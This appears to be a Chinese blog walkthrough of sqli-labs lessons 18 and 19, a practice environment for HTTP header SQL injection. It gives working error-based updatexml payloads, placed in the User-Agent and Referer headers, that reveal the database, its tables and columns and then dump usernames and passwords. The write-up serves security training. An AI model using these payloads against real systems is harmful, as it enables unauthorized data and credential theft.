sqli-labs less-18 http头user-agent注入

HTTP头注入

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的

X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上

COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP

Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。

登入后页面回显IP和User-Agent,抓包在bp中进行测试

less-18

抓包

HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。

源码


从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。

接下来开始注入

构造payload

源码insert语句为

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (' u a g e n t ′ , ′ uagent', ' uagent′,′IP', $uname)

所以我们构造

1',2,3) #

闭合方式。不能使用--来注释,这是HTTP报文,不是URL,URL解释+为空格

1' or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #

因为插入语句使用or来连接

得到数据库名

爆表

。' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #

爆列

User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #

数据

User-Agent:' or updatexml(1,concat(0x7e,substring((select group_concat(username,'-',password) from security.users),30,30)),3) or ',2,3) #

,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据

less-19

登入进去,页面回显IP和Referer

根据上一关,此次使用Referer来进行报错注入

使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。

库名

Referer: ' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #

表名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #

列名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #

数据

Referer: ' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #方法同less-18

相关推荐
reverie.Ly19 分钟前
从0开始linux(12)——命令行参数与环境变量
android·linux·c++
某风吾起2 小时前
阿里云物联网自有app创建之初始化SDK
android
阳光男孩015 小时前
MySQL基础之约束
android·数据库·mysql
AI人H哥会Java5 小时前
【PostgreSQL】运维篇—— 实战案例分析:从需求到实现
运维·数据库·sql·postgresql
Dylanioucn5 小时前
【网络】web1.0 2.0 3.0各自出现背景/技术原理/演化发展过程,以及Web 3.0 对传统互联网的影响
网络·网络协议·安全
我的运维人生6 小时前
Android架构组件MVVM模式的实战应用与数据绑定技巧
android·架构·运维开发·技术共享
bug菌¹6 小时前
滚雪球学Redis[1.1讲]:什么是Redis?
数据库·redis·缓存
什么鬼昵称8 小时前
Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)
android·服务器·sql
zeroner_8 小时前
【SQL】DDL语句
数据库·sql·mysql